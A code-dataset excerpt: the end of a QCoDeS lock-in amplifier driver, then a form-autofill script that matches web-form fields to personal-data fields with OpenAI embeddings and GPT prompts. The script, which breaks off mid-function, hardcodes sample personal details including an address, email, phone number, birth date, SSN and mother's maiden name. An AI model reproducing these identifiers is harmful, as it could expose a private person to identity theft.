HF2LI.OUTPUT_MAPPING, for example {\"X\": 0, \"Y\": 3}\n            to use the instrument as a lockin amplifier in X-Y mode with auxout channels 0 and 3.\n        num_sigout_mixer_channels: Number of mixer channels to enable on the sigouts. Default: 1.\n    \"\"\"\n    OUTPUT_MAPPING = {-1: 'manual', 0: 'X', 1: 'Y', 2: 'R', 3: 'Theta'}\n    def __init__(self, name: str, device: str, demod: int, sigout: int,\n        auxouts: Dict[str, int], num_sigout_mixer_channels: int=1, **kwargs) -> None:\n        super().__init__(name, **kwargs)\n        instr = zhinst.utils.create_api_session(device, 1, required_devtype='HF2LI')\n        self.daq, self.dev_id, self.props = instr\n        self.demod = demod\n        self.sigout = sigout\n        self.auxouts = auxouts\n        log.info(f'Successfully connected to {name}.')\n\n        for ch in self.auxouts:\n            self.add_parameter(\n                name=ch,\n                label=f'Scaled {ch} output value',\n                unit='V',\n                get_cmd=lambda channel=ch: self._get_output_value(channel),\n                get_parser=float,\n                docstring=f'Scaled and demodulated {ch} value.'\n            )\n            self.add_parameter(\n                name=f'gain_{ch}',\n                label=f'{ch} output gain',\n                unit='V/Vrms',\n                get_cmd=lambda channel=ch: self._get_gain(channel),\n                get_parser=float,\n                set_cmd=lambda gain, channel=ch: self._set_gain(gain, channel),\n                vals=vals.Numbers(),\n                docstring=f'Gain factor for {ch}.'\n            )\n            self.add_parameter(\n                name=f'offset_{ch}',\n                label=f'{ch} output offset',\n                unit='V',\n                get_cmd=lambda channel=ch: self._get_offset(channel),\n                get_parser=float,\n                set_cmd=lambda offset, channel=ch: self._set_offset(offset, channel),\n                vals=vals.Numbers(-2560, 2560),\n                docstring=f'Manual offset for {ch}, applied after scaling.'\n            )\n            self.add_parameter(\n                name=f'output_{ch}',\n                label=f'{ch} outptut select',\n                get_cmd=lambda channel=ch: self._get_output_select(channel),\n                get_parser=str\n            )\n            # Making output select only gettable, since we are\n            # explicitly mapping auxouts to X, Y, R, Theta, etc.\n            self._set_output_select(ch)\n            \n        self.add_parameter(\n            name='phase',\n            label='Phase',\n            unit='deg',\n            get_cmd=self._get_phase,\n            get_parser=float,\n            set_cmd=self._set_phase,\n            vals=vals.Numbers(-180,180)\n        )\n        self.add_parameter(\n            name='time_constant',\n            label='Time constant',\n            unit='s',\n            get_cmd=self._get_time_constant,\n            get_parser=float,\n            set_cmd=self._set_time_constant,\n            vals=vals.Numbers()\n        )  \n        self.add_parameter(\n            name='frequency',\n            label='Frequency',\n            unit='Hz',\n            get_cmd=self._get_frequency,\n            get_parser=float\n        ) \n        self.add_parameter(\n            name='sigout_range',\n            label='Signal output range',\n            unit='V',\n            get_cmd=self._get_sigout_range,\n            get_parser=float,\n            set_cmd=self._set_sigout_range,\n            vals=vals.Enum(0.01, 0.1, 1, 10)\n        )\n        self.add_parameter(\n            name='sigout_offset',\n            label='Signal output offset',\n            unit='V',\n            get_cmd=self._get_sigout_offset,\n            get_parser=float,\n            set_cmd=self._set_sigout_offset,\n            vals=vals.Numbers(-1, 1),\n            docstring='Multiply by sigout_range to get actual offset voltage.'\n        )\n        for i in range(num_sigout_mixer_channels):\n            self.add_parameter(\n                name=f'sigout_enable{i}',\n                label=f'Signal output mixer {i} enable',\n                get_cmd=lambda mixer_channel=i: self._get_sigout_enable(mixer_channel),\n                get_parser=float,\n                set_cmd=lambda amp, mixer_channel=i: self._set_sigout_enable(mixer_channel, amp),\n                vals=vals.Enum(0,1,2,3),\n                docstring=\"\"\"\\\n                0: Channel off (unconditionally)\n                1: Channel on (unconditionally)\n                2: Channel off (will be turned off on next change of sign from negative to positive)\n                3: Channel on (will be turned on on next change of sign from negative to positive)\n                \"\"\"\n            )\n            self.add_parameter(\n                name=f'sigout_amplitude{i}',\n                label=f'Signal output mixer {i} amplitude',\n                unit='Gain',\n                get_cmd=lambda mixer_channel=i: self._get_sigout_amplitude(mixer_channel),\n                get_parser=float,\n                set_cmd=lambda amp, mixer_channel=i: self._set_sigout_amplitude(mixer_channel, amp),\n                vals=vals.Numbers(-1, 1),\n                docstring='Multiply by sigout_range to get actual output voltage.'\n            )\n\n    def _get_phase(self) -> float:\n        path = f'/{self.dev_id}/demods/{self.demod}/phaseshift/'\n        return self.daq.getDouble(path)\n\n    def _set_phase(self, phase: float) -> None:\n        path = f'/{self.dev_id}/demods/{self.demod}/phaseshift/'\n        self.daq.setDouble(path, phase)\n        \n    def _get_gain(self, channel: str) -> float:\n        path = f'/{self.devid}/auxouts/{self.auxouts[channel]}/scale/'\n        return self.daq.getDouble(path)\n\n    def _set_gain(self, gain: float, channel: str) -> None:\n        path = f'/{self.dev_id}/auxouts/{self.auxouts[channel]}/scale/'\n        self.daq.setDouble(path, gain)\n\n    def _get_offset(self, channel: str) -> float:\n        path = f'/{self.dev_id}/auxouts/{self.auxouts[channel]}/offset/'\n        return self.daq.getDouble(path)\n\n    def _set_offset(self, offset: float, channel: str) -> None:\n        path = f'/{self.dev_id}/auxouts/{self.auxouts[channel]}/offset/'\n        self.daq.setDouble(path, offset)\n\n    def _get_output_value(self, channel: str) -> float:\n        path = f'/{self.dev_id}/auxouts/{self.auxouts[channel]}/value/'\n        return self.daq.getDouble(path)\n\n    def _get_output_select(self, channel: str) -> str:\n        path = f'/{self.dev_id}/auxouts/{self.auxouts[channel]}/outputselect/'\n        idx = self.daq.getInt(path)\n        return self.OUTPUT_MAPPING[idx]\n\n    def _set_output_select(self, channel: str) -> None:\n        path = f'/{self.dev_id}/auxouts/{self.auxouts[channel]}/outputselect/'\n        keys = list(self.OUTPUT_MAPPING.keys())\n        idx = keys[list(self.OUTPUT_MAPPING.values()).index(channel)]\n        self.daq.setInt(path, idx)\n\n    def _get_time_constant(self) -> float:\n        path = f'/{self.dev_id}/demods/{self.demod}/timeconstant/'\n        return self.daq.getDouble(path)\n\n    def _set_time_constant(self, tc: float) -> None:\n        path = f'/{self.dev_id}/demods/{self.demod}/timeconstant/'\n        self.daq.setDouble(path, tc)\n\n    def _get_sigout_range(self) -> float:\n        path = f'/{self.dev_id}/sigouts/{self.sigout}/range/'\n        return self.daq.getDouble(path)\n\n    def _set_sigout_range(self, rng: float) -> None:\n        path = f'/{self.dev_id}/sigouts/{self.sigout}/range/'\n        self.daq.setDouble(path, rng)\n\n    def _get_sigout_offset(self) -> float:\n        path = f'/{self.dev_id}/sigouts/{self.sigout}/offset/'\n        return self.daq.getDouble(path)\n\n    def _set_sigout_offset(self, offset: float) -> None:\n        path = f'/{self.dev_id}/sigouts/{self.sigout}/offset/'\n        self.daq.setDouble(path, offset)\n\n    def _get_sigout_amplitude(self, mixer_channel: int) -> float:\n        path = f'/{self.dev_id}/sigouts/{self.sigout}/amplitudes/{mixer_channel}/'\n        return self.daq.getDouble(path)\n\n    def _set_sigout_amplitude(self, mixer_channel: int, amp: float) -> None:\n        path = f'/{self.dev_id}/sigouts/{self.sigout}/amplitudes/{mixer_channel}/'\n        self.daq.setDouble(path, amp)\n\n    def _get_sigout_enable(self, mixer_channel: int) -> int:\n        path = f'/{self.dev_id}/sigouts/{self.sigout}/enables/{mixer_channel}/'\n        return self.daq.getInt(path)\n\n    def _set_sigout_enable(self, mixer_channel: int, val: int) -> None:\n        path = f'/{self.dev_id}/sigouts/{self.sigout}/enables/{mixer_channel}/'\n        self.daq.setInt(path, val)\n\n    def _get_frequency(self) -> float:\n        path = f'/{self.dev_id}/demods/{self.demod}/freq/'\n        return self.daq.getDouble(path)\n\n    def sample(self) -> dict:\n        path = f'/{self.dev_id}/demods/{self.demod}/sample/'\n        return self.daq.getSample(path)\n        \n","repo_name":"QCoDeS/Qcodes_contrib_drivers","sub_path":"qcodes_contrib_drivers/drivers/ZurichInstruments/HF2LI.py","file_name":"HF2LI.py","file_ext":"py","file_size_in_byte":9922,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"35"}
{"seq_id":"8959782824","text":"import argparse\nimport os\nimport re\nimport sys\nimport time\nimport json\nimport logging\nfrom collections import defaultdict\n#from langchain.llms import OpenAI\n#import tiktoken\nimport openai\nimport numpy as np\nfrom bs4 import BeautifulSoup\nfrom lib.utils import deserialize_dictionary  #TODO: fix the module import from parsing.py\nfrom lib.utils import load_json_from_file\nimport ast\n\nimport nltk\nnltk.data.path.append('./nltk_data/')\nfrom nltk.tokenize import word_tokenize\n\n# Configure logging\nlogging.basicConfig(\n    level=logging.DEBUG,\n    format='%(asctime)s - %(levelname)s - %(message)s'\n)\n\n# json_string = '{\"First Name\": \"firstName\", \"Middle Name\": \"middleName\", \"Middle Initial\": \"middleName-initial\", \"Last Name\": \"lastName\", \"Individual Taxpayer Identification Number (itin)\": \"itin\",\\\n#                \"Mailing Addressline1\": \"mailingAddressLine1\", \"Mailing Addressline2 (optional)\": \"mailingAddressLine2\", \"Zipcode/Postcode\": \"zip/postalCode\",\\\n#                \"State/Province/Region\": \"state/province/region\", \"City\": \"city\", \"Country\": \"country\", \"Primary Phone Number\": \"primaryPhoneNumber\", \\\n#                \"Phone Type\": \"primaryPhoneType\", \"Employment Status\":\"employmentStatus\", \"Income(annual)\": \"income-annual-usd\", \"Housing Status\": \"housingStatus\",\\\n#                \"Monthly Rent/Mortgage\": \"monthlyRent/Mortgage\", \"Education Degree\": \"educationDegree\", \"Working Industry\": \"workingIndustry\", \\\n#                \"Professional Title\": \"professionalTitle\", \"Professional Tenure\":\"professionalTenure\", \"Social Security Number (ssn)\": \"ssn\", \\\n#                \"Date of Birth\": \"dob\", \"Email Address\": \"email\"}'\n\n\njson_string = '''{\n  \"First Name\": \"firstName\",\n  \"Middle Name\": \"middleName\",\n  \"Middle Initial\": \"middleName-initial\",\n  \"Last Name\": \"lastName\",\n  \"Suffix\": \"suffix\",\n  \"Tax ID Type\": \"taxIDType\",\n  \"Individual Taxpayer Identification Number (itin)\": \"itin\",\n  \"Social Security Number (ssn)\": \"ssn\",\n  \"Date of Birth (mm/dd/yyyy)\": \"dob-mm/dd/yyyy\",\n  \"Mother Maiden Name\": \"motherMaidenName\",\n  \"Address Type\": \"addressType\",\n  \"Mailing Addressline1\": \"mailingAddressLine1\",\n  \"Mailing Addressline2 (optional)\": \"mailingAddressLine2\",\n  \"Zipcode/Postcode\": \"zip/postalCode\",\n  \"State/Province/Region\": \"state/province/region\",\n  \"City\": \"city\",\n  \"Country\": \"country\",\n  \"Primary Phone Type\": \"primaryPhoneType\",\n  \"Primary Phone Number\": \"primaryPhoneNumber\",\n  \"Email Address\": \"email\",\n  \"Employment Status\": \"employmentStatus\",\n  \"Income(annual)\": \"income-annual-usd\",\n  \"Type of residence/Housing Status\": \"housingStatus\",\n  \"Monthly Rent/Mortgage\": \"monthlyRent/Mortgage\",\n  \"Education Degree\": \"educationDegree\",\n  \"Working Industry\": \"workingIndustry\",\n  \"Professional Title\": \"professionalTitle\",\n  \"Professional Tenure\": \"professionalTenure\",\n  \"Linkedin Profile\": \"linkedinProfile\",\n  \"Personal Website\": \"personalWebsite\",\n  \"Visa Sponsorship\": \"visaSponsorship\"\n}'''\n\n# Convert the JSON string to a Python dictionary\nname_maps = json.loads(json_string)\n\n\ninput_string = \"\"\"First Name: Min\nMiddle Initial: NA\nLast Name: Lu\nMailing Addressline1: 15481 Bristol Ridge Ter\nMailing Addressline2 (optional): #54\nState/Province/Region: CA\nCity: San Diego\nZipcode/Postcode: 92127\nEmail Address: minlu19@gmail.com\nPrimary Phone Number: 2176399259\nEmployment Status: employed\nEducation Degree: Doctoral Degree (Ph.D, Ed.D, M.D.)\nIncome(annual): 250000\nMonthly Rent/Mortgage: 2500\nDate of Birth (mm/dd/yyyy): 12/15/1989\nSocial Security Number (ssn): 316-14-4952\nMiddle Name: NA\nSuffix: None\nTax ID Type: SOCIAL_SECURITY_NUMBER\nIndividual Taxpayer Identification Number (itin): 316-88-8888\nCountry: USA\nPrimary Phone Type: CELL\nType of residence/Housing Status: OWN\nWorking Industry: Tech\nProfessional Title: Engineer\nProfessional Tenure: 10 Years\nAddress Type: DOMESTIC\nMother Maiden Name: A\nLinkedin Profile: https://www.linkedin.com/in/abc/\nPersonal Website: https://www.abc.com\nVisa Sponsorship: NO\"\"\"\n\nlabel_values_map = { \n                         \"veteranStatus\": {\"Filler\":[\"please select\"],\"Veteran\":[\"Veteran\"], \"Not Veteran\":[\"Not Veteran\"], \"Other\":[\"Other\", \"I don't want to declare\"]},\n                         \"gender\": {\"Filler\":[\"please select\"],\"male\":[\"male\",\"m\"],\"female\":[\"female\",\"f\"],\"other\":[\"other\", \"x\", \"don't want to specify\", \"decline to self identify\"]},\n                         \"visaSponsorship\": {\"Filler\":[\"please select\"],\"Yes\":[\"Yes\"], \"No\":[\"No\"]},\n                         \"disabilityStatus\": {\"Filler\":[\"please select\"],\"Yes\":[\"Yes\"], \"No\":[\"No\"]},\n                         \"isHispanicLatino\": {\"Filler\":[\"please select\"],\"Yes\":[\"Yes\"], \"No\":[\"No\"]},\n                         # equalent to \"residency status\":[\"US citizen\", \"Green card (Permanent Resident)\", \"Foreign (Non-resident)\"],\n                         \"race\": {\"Filler\":[\"please select\"],\"American Indian or Alaskan Native\":[\"American Indian or Alaskan Native\"], \"Asian\":[\"Asian\"], \"Black or African American\":[\"Black or African American\"], \"Hispanic or Latino\":[\"Hispanic or Latino\"], \"White\":[\"White\"], \"Native Hawaiian or Other Pacific Islander\":[\"Native Hawaiian or Other Pacific Islander\"], \"Two or More Races\":[\"Two or More Races\"], \"Decline To Self Identify\":[\"Decline To Self Identify\"]},\n                         \n}\n\n# input_string = \"\"\"First Name: Xin\n# Middle Name: X\n# Last Name: Xu\n# Suffix: None\n# Tax ID Type: SSN\n# Individual Taxpayer Identification Number (itin): 316-14-8882\n# Social Security Number (ssn): 316-14-8882\n# Date of Birth (mm/dd/yyyy): 12/15/1989\n# Mother's Maiden Name: A\n# Address Type: DOMESTIC\n# Mailing Addressline1: 15469 Bristol Ridge Ter\n# Mailing Addressline2: #58\n# Zipcode/Postcode: 92122\n# State/Province/Region: CA\n# City: San Diego\n# Country: USA\n# Primary Phone Type: CELL\n# Primary Phone Number: 2176399999\n# Email Address: minlu8@gmail.com\n# Employment Status: Employed\n# Income(annual): 250000\n# Type of residence/Housing Status: OWN\n# Monthly Rent/Mortgage: 2500\n# Education Degree: Doctoral Degree (Ph.D, Ed.D, M.D.)\n# Working Industry: Tech\n# Professional Title: Engineer\n# Professional Tenure: 10 Years\n# \"\"\"\n\n\n# Split the string into lines\nlines = input_string.splitlines()\n\n# Initialize an empty dictionary\npii_dict = {}\n\n# Iterate through the lines and add them to the dictionary\nfor line in lines:\n    key, value = line.split(\": \", 1)  # split at the first occurrence of ': '\n    pii_dict[key] = value\npiikeys = pii_dict.keys()\npiistr = str(pii_dict)\n\nprint(piistr)\n\ndef cosine_similarity_matrix(embeddings1, embeddings2):\n    # Normalize the embeddings\n    embeddings1_normalized = embeddings1 / np.linalg.norm(embeddings1, axis=1, keepdims=True)\n    embeddings2_normalized = embeddings2 / np.linalg.norm(embeddings2, axis=1, keepdims=True)\n    \n    # Compute the similarity matrix\n    similarity = np.dot(embeddings1_normalized, embeddings2_normalized.T)\n    \n    return similarity\n\ndef load_html_files_from_directory(directory_path):\n    # List all files in the directory\n    all_files = [f for f in os.listdir(directory_path) if os.path.isfile(os.path.join(directory_path, f))]\n    \n    # Filter for .html files\n    html_files = [f for f in all_files if f.endswith('.html')]\n    \n    # Load each HTML file into memory\n    html_contents = {}\n    for html_file in html_files:\n        with open(os.path.join(directory_path, html_file), 'r', encoding='utf-8') as file:\n            html_contents[html_file] = file.read()\n    \n    return html_contents\n\ndef nltk_tokenize(input_string):\n    tokens_nltk = word_tokenize(input_string.lower())\n    tokens_nltk = [token for token in tokens_nltk if not no_alphanumeric_string(token)]\n    return ' '.join(tokens_nltk)\n\ndef no_alphanumeric_string(s):\n    return bool(re.match(r'^[^\\w]', s))\n\ndef remove_trailing_non_alnum_regex(s):\n    return re.sub(r'[^a-zA-Z0-9]*$', '', s)\n\ndef map_select_values(name, label_values, form_texts):\n    \n    value_tokens = []\n    form_texts_list = []\n    for form_text in form_texts:\n        name_form_text = ' '.join([name.lower(), form_text.lower()])\n        value_tokens.append(name_form_text)\n        form_texts_list.append(form_text)\n    print(value_tokens)\n    openai_api_key = os.environ[\"OPENAI_API_KEY\"]\n    resp = openai.Embedding.create(\n                input=value_tokens,\n                engine=\"text-embedding-ada-002\")\n    value_token_embedding = dict()\n    for i in range(len(value_tokens)):\n        #\"first name\", embeddding vector\n        value_token_embedding[value_tokens[i]] = resp['data'][i]['embedding']\n\n    value_token_embedding_array_2d = []\n    value_token_labels = []\n    for k, v in value_token_embedding.items():\n        value_token_embedding_array_2d.append(v)\n        value_token_labels.append(k)\n    value_token_embedding_array_2d = np.vstack(value_token_embedding_array_2d)\n\n    synonym_label = []\n    synonym_label_tokens = []\n    label_synonym_embedding_array_2d = []\n    label_value_synoyms = label_values_map.get(name)\n    if label_value_synoyms:\n        for label in label_values:\n            synonyms = label_value_synoyms.get(label)\n            for synonym in synonyms:\n                name_value = ' '.join([name.lower(), synonym.lower()])\n                print(name_value)\n                synonym_label_tokens.append(name_value)\n                synonym_label.append(label)\n    print(synonym_label_tokens)\n    openai_api_key = os.environ[\"OPENAI_API_KEY\"]\n    resp = openai.Embedding.create(\n                input=synonym_label_tokens,\n                engine=\"text-embedding-ada-002\")\n    \n    for i in range(len(synonym_label_tokens)):\n        #\"first name\", embeddding vector\n        label_synonym_embedding_array_2d.append(resp['data'][i]['embedding'])\n    label_synonym_embedding_array_2d = np.vstack(label_synonym_embedding_array_2d)\n\n    simmatrix = cosine_similarity_matrix(value_token_embedding_array_2d, label_synonym_embedding_array_2d)\n    label_dict = dict()\n    for ind, value in enumerate(value_tokens):\n        name_value = ' '.join([name.lower(), value.lower()])\n        dot_products = simmatrix[ind,:]\n        max_index = np.argmax(dot_products)\n        max_similarity = dot_products[max_index]\n        print(f'{value} is mapped to {synonym_label[max_index]} with score: {max_similarity}')\n        #if max_similarity > .9: \n        label_dict[synonym_label[max_index]] = (form_texts_list[ind], max_similarity)\n    return label_dict\n\ndef generate_xpath(element):\n    path_parts = []\n    current = element\n    while current is not None and current.name is not None and current.parent is not None:\n        siblings = list(current.parent.children)\n        tag_siblings = [sibling for sibling in siblings if sibling.name == current.name]\n        if len(tag_siblings) > 1:\n            index = tag_siblings.index(current) + 1  # XPath is 1-indexed\n            path_parts.append(f\"{current.name}[{index}]\")\n        else:\n            path_parts.append(current.name)\n        current = current.parent\n    return '/' + '/'.join(reversed(path_parts))\n\ndef get_inverted_index(html_data):\n    inverted = dict()\n    for filename, content in html_data.items():\n        print(f\"Contents of {filename}:\")\n        #print(content)\n        page = BeautifulSoup(content, 'html.parser')\n        vocab = set()\n        # Extracting text strings for all elements in the soup\n        for s in page.stripped_strings:\n            vocab.add(s.lower())\n        \n        # Extracting the 'name' attributes for all elements in the soup\n        element_name_attributes = [tag['name'] for tag in page.find_all() if tag.has_attr('name')]\n        for s in element_name_attributes:\n            vocab.add(s.lower())\n\n        #print(vocab)\n        for v in vocab:\n            if v not in inverted:\n                inverted[v] = [filename]\n            else:\n                inverted[v].append(filename)\n    return inverted\n\ndef scan_for_inputs(html_data, label_dict, output_folder):\n    for filename, content in html_data.items():\n        print(f\"Contents of {filename}:\")\n        #print(content)\n        soup, inputs = get_all_inputs(content)\n        data = get_label_for_inputs(inputs, soup, label_dict)\n        json_output = output_folder + '/' + filename[:-5] + \".json\"\n        with open(json_output, 'w') as json_file:\n            json.dump(data, json_file)\n\n\ndef get_all_inputs(html_content):\n    soup = BeautifulSoup(html_content, 'html.parser')\n    inputs  = soup.find_all('input')\n    selects = soup.find_all('select')\n    textareas = soup.find_all('textarea')\n    radios = soup.find_all(attrs={'role': 'radio'})\n    checkboxes = soup.find_all(attrs={'role': 'checkbox'})\n    submit_buttons = soup.find_all(attrs={'role': 'submit'})\n    radiogroups = soup.find_all(attrs={'role': 'radiogroup'})\n    input_elements = inputs + selects + textareas + radiogroups + radios + checkboxes + submit_buttons\n    return soup, input_elements\n\ndef check_ground_truth(groundTruth, prediction):\n    target_dict = {}\n    for ele in groundTruth:\n        if len(ele[0]) > 1:\n            target_dict[ele[0]] = ele[2]\n    pred_dict = {}\n    for ele in prediction:\n        if len(ele[0]) > 1:\n            pred_dict[ele[0]] = ele[2]\n    #print(target_dict)\n    #print(pred_dict)\n    miss = 0\n    true_det = 0\n    false_det = 0\n    match_cat = {}\n    for key, value in target_dict.items():\n        if value != \"no match\":\n            if key not in pred_dict:\n                miss = miss + 1\n                match_cat[key] = \"miss|\" + value\n            else:\n                pred_label = pred_dict[key]\n                if pred_label == value:\n                    true_det = true_det + 1\n                    match_cat[key] = pred_label + \"|\" + value\n                else:\n                    false_det = false_det + 1\n        else:\n            if key in pred_dict:\n                pred_label = pred_dict[key]\n                if pred_label != \"no match\":\n                    false_det = false_det + 1\n                    match_cat[key] = pred_label + \"|\" + value\n    return true_det, false_det, miss, match_cat\n\ndef get_label_for_fields(fields, label_dict):\n    data = []\n    for field in fields:\n        elem_id = \"\"\n        elem_type = \"\"\n        label_text = \"\"\n        label_conf = 0.0\n        #if we can find a good match using name, skip\n        foundLabel = False\n        if field.get('htmlName'):\n            s =  field.get('htmlName').lower()\n            s = nltk_tokenize(s)\n            if s in label_dict:\n                label_text = label_dict[s][0] #label category\n                label_conf = label_dict[s][1] #confidence score\n                foundLabel = True\n        if not foundLabel:\n            if field.get('label-tag'):\n                s =  field.get('label-tag').lower()\n                s = nltk_tokenize(s)\n                if s in label_dict:\n                    label_text = label_dict[s][0] #label category\n                    label_conf = label_dict[s][1] #confidence score\n                    foundLabel = True\n        if field.get('htmlID'):\n            elem_id = \"#\"+field.get('htmlID')\n        \n        if field.get('tagName'):\n            elem_type = field.get('tagName')\n\n        mappings = dict()\n        print(label_text)\n        if len(label_text) > 1 and field.get('tagName') == 'select':\n            options = field.get('options')\n            text_value_map = dict()\n            for op in options:\n                text_value_map[op.get(\"text\")] = op.get(\"value\")\n            form_option_texts = text_value_map.keys()\n            label_values = label_values_map[label_text]\n            result = map_select_values(label_text, label_values, form_option_texts)\n            mappings = result\n        xpath = field.get('htmlSelector')\n        data_item = (elem_id, xpath, label_text, label_conf, elem_type, mappings)\n        data.append(data_item)\n    return data\n\ndef get_label_for_inputs(non_hidden_inputs, soup, label_dict):\n    \n    data = []\n    for input_elem in non_hidden_inputs:\n        \n        elem_id = \"\"\n        elem_type = \"\"\n        label_text = \"\"\n        label_conf = 0.0\n\n        #if we can find a good match using name, skip\n        foundLabel = False\n        if input_elem.get('name'):\n            s =  input_elem.get('name').lower()\n            s = nltk_tokenize(s)\n            if s in label_dict:\n                label_text = label_dict[s][0] #label category\n                label_conf = label_dict[s][1] #confidence score\n                foundLabel = True\n            #print(f\"name is {s}, found label {foundLabel}\")\n            \n        if not foundLabel:\n            # Find associated label using 'for' attribute\n            associated_label = soup.find('label', {'for': input_elem.get('id')})\n            \n            # If input is a child of label, the parent is the associated label\n            if not associated_label and input_elem.find_parent('label'):\n                associated_label = input_elem.find_parent('label')\n            \n            if associated_label:\n                #print(associated_label)\n                \n                for s in associated_label.stripped_strings:\n                    token = nltk_tokenize(s)\n                    #print(f'normalized to {token}')\n                    if token in label_dict:\n                        print(f'{token} is matched to {label_dict[token]}')\n                        label_text = label_dict[token][0] #label category\n                        label_conf = round(label_dict[token][1], 2)#confidence score\n                        foundLabel = True\n                        break\n                    #print(f\"label is {s}, found label {foundLabel}\")\n    \n        #print(f'label is {label_text}') \n        #if 'id' in input_elem:\n        if input_elem.get('id'):\n            elem_id = \"#\"+input_elem.get('id')\n        \n        if input_elem.get('type'):\n            elem_type = input_elem.get('type')\n\n        xpath = generate_xpath(input_elem)\n        data_item = (elem_id, xpath, label_text, label_conf, elem_type)\n        data.append(data_item)\n\n    return data\n\ndef chunk_list(input_list, chunk_size):\n    return [input_list[i:i + chunk_size] for i in range(0, len(input_list), chunk_size)]\n\ndef get_embedding(input_tokens):\n    print(input_tokens)\n    token_embedding = dict()\n    sub_tokens_list = chunk_list(input_tokens, 20)\n    for sub_tokens in sub_tokens_list:\n        print(sub_tokens)\n        resp = openai.Embedding.create(\n                input=sub_tokens,\n                engine=\"text-embedding-ada-002\")\n        for i in range(len(sub_tokens)):\n            token_embedding[sub_tokens[i]] = resp['data'][i]['embedding']\n        print(sub_tokens)\n    return token_embedding\n\ndef classifier_function(fieldName, sources, targets, model = \"gpt-4\"):\n    messages = [{\"role\": \"user\", \"content\": f\"You are domain expert in data schema matching for {fieldName}, you are generating map between two value lists, do not generate python code! Now you are acting like mapper function from a list specified by ```{sources}``` on to one of predefined list specified in: ```{targets}```, meaning the response should be one of the element in ```{targets}```.\\n\\n Only respond with your `return` python dictionary object. Do not include any other explanatory text or python code in your response.\"}]\n\n    response = openai.ChatCompletion.create(\n        model=model,\n        messages=messages,\n        temperature=0\n    )\n\n    return response.choices[0].message[\"content\"]\n\ndef ai_function(function, args, description, model = \"gpt-4\"):\n    # parse args to comma separated string\n    args = \", \".join(args)\n    messages = [{\"role\": \"system\", \"content\": f\"You are now the following python function: ```# {description}\\n{function}```\\n\\nOnly respond with your `return` value. Do not include any other explanatory text in your response.\"},{\"role\": \"user\", \"content\": args}]\n\n    response = openai.ChatCompletion.create(\n        model=model,\n        messages=messages,\n        temperature=0\n    )\n\n    return response.choices[0].message[\"content\"]\n\ndef cosine_similarity_matrix(embeddings1, embeddings2):\n    # Normalize the embeddings\n    embeddings1_normalized = embeddings1 / np.linalg.norm(embeddings1, axis=1, keepdims=True)\n    embeddings2_normalized = embeddings2 / np.linalg.norm(embeddings2, axis=1, keepdims=True)\n    \n    # Compute the similarity matrix\n    similarity = np.dot(embeddings1_normalized, embeddings2_normalized.T)\n    \n    return similarity\n\ndef matching_simple(formfields, openai_api_key, model = \"gpt-3.5-turbo\"):\n    openai.api_key = openai_api_key\n    pii_names = []\n    for readable_name, machine_name in name_maps.items():\n        pii_names.append((readable_name, machine_name))\n\n    form_names = []\n    for element in formfields:\n        form_name = \"\"\n        if 'name' in element:\n            form_name = form_name + ' ' + element['name']\n        if 'label' in element:\n            form_name = form_name + ' ' + element['label']\n        if 'context' in element:\n            form_name = form_name + ' ' + element['context']\n        if len(form_name) < 1:\n            continue\n        form_names.append(form_name)\n\n    function_string = \"def map_names(form_names: list, pii_names: list) -> dict:\"\n    description_string = \"\"\"Based on the semantic of list elements, build a map from the first list to the second list. please make sure the value of the map are one of tuple in second list or 'no match' if no good match can be found in second list\"\"\"\n    args = [str(pii_names), str(form_names)]\n    result_string = ai_function(function_string, args, description_string, model)\n    logging.info(result_string)\n    result = ast.literal_eval(result_string)\n    print(result)\n\ndef matching_simple_bak(formfields, openai_api_key, model = \"gpt-3.5-turbo\"):\n    openai.api_key = openai_api_key\n    \n    pii_names = []\n    for readable_name, machine_name in name_maps.items():\n        pii_names.append(readable_name)\n\n    resp = openai.Embedding.create(\n                input=pii_names,\n                engine=\"text-embedding-ada-002\")\n      \n    pii_name_embedding_array_2d = []\n    for i in range(len(pii_names)):\n        pii_name_embedding_array_2d.append(resp['data'][i]['embedding'])\n    pii_name_embedding_array_2d = np.vstack(pii_name_embedding_array_2d)\n\n    form_names = []\n    for element in formfields:\n        form_name = \"\"\n        if 'name' in element:\n            form_name = form_name + ' ' + element['name']\n        elif 'label' in element:\n            form_name = form_name + ' ' + element['label']\n        elif 'context' in element:\n            form_name = form_name + ' ' + element['context']\n        if len(form_name) < 1:\n            continue\n        form_names.append(form_name)\n\n    resp = openai.Embedding.create(\n            input=form_names,\n            engine=\"text-embedding-ada-002\")\n\n    form_name_embedding_array_2d = []\n    for i in range(len(form_names)):\n        form_name_embedding_array_2d.append(resp['data'][i]['embedding'])\n    form_name_embedding_array_2d = np.vstack(form_name_embedding_array_2d)\n\n    simmatrix = cosine_similarity_matrix(pii_name_embedding_array_2d, form_name_embedding_array_2d)\n    \n    form_name_candidates = {}\n    for ind, form_name in enumerate(form_names):\n        dot_products = simmatrix[:,ind]\n        max_index = np.argmax(dot_products)\n        max_similarity = dot_products[max_index]\n        top_k_indices = np.argsort(dot_products)[-5:]\n        candidates = []\n        for index in top_k_indices:\n            pii_name = pii_names[index]\n            similarity = dot_products[index]\n            if similarity > .6 and similarity > max_similarity - .05:\n                candidates.append(pii_name)\n        #verify the match with classification\n        form_name_candidates[form_name] = candidates\n    \n    form_name_to_pii_name = []\n    for element in formfields:\n        form_name = \"\"\n        machine_name = \"no match\"\n        sub_dict = \"\"\n        if 'name' in element:\n            form_name = form_name + ' ' + element['name']\n            sub_dict = element['name']\n        elif 'label' in element:\n            form_name = form_name + ' ' + element['label']\n        elif 'context' in element:\n            form_name = form_name + ' ' + element['context']\n        if len(form_name) >= 1:\n            #print('\\n\\n')\n            #print(form_name)\n            sub_dict = sub_dict + ' ' +element['label'] + ' ' + element['context']\n            candidates = form_name_candidates[form_name]\n            result = classifier_function(sub_dict, candidates,  \"gpt-3.5-turbo\")\n            element['matched'] = result\n            if result in name_maps:\n                machine_name = name_maps[result]\n            else:\n                logging.warning(f\"Key not found in name_maps: {result}\")\n            print(sub_dict)\n            print(candidates)\n            print(result)\n        xid = ''\n        if 'id' in element:\n            xid = '#'+element['id']\n        xpath = form_name\n        input_type = 'NA'\n        if 'type' in element:\n            input_type = element['type']\n        pii_name = machine_name\n        mapped_value = 'N/A'\n        form_name_to_pii_name.append((xid, xpath, pii_name, mapped_value, input_type))\n    return form_name_to_pii_name\n    \ndef matching(formfields, openai_api_key, model = \"gpt-3.5-turbo\"):\n    openai.api_key = openai_api_key\n    form_key_values = []\n    form_key_texts = defaultdict(dict)\n    for key, values in formfields.items():\n        if (key[1] is None) or (len(key[1]) < 1):\n            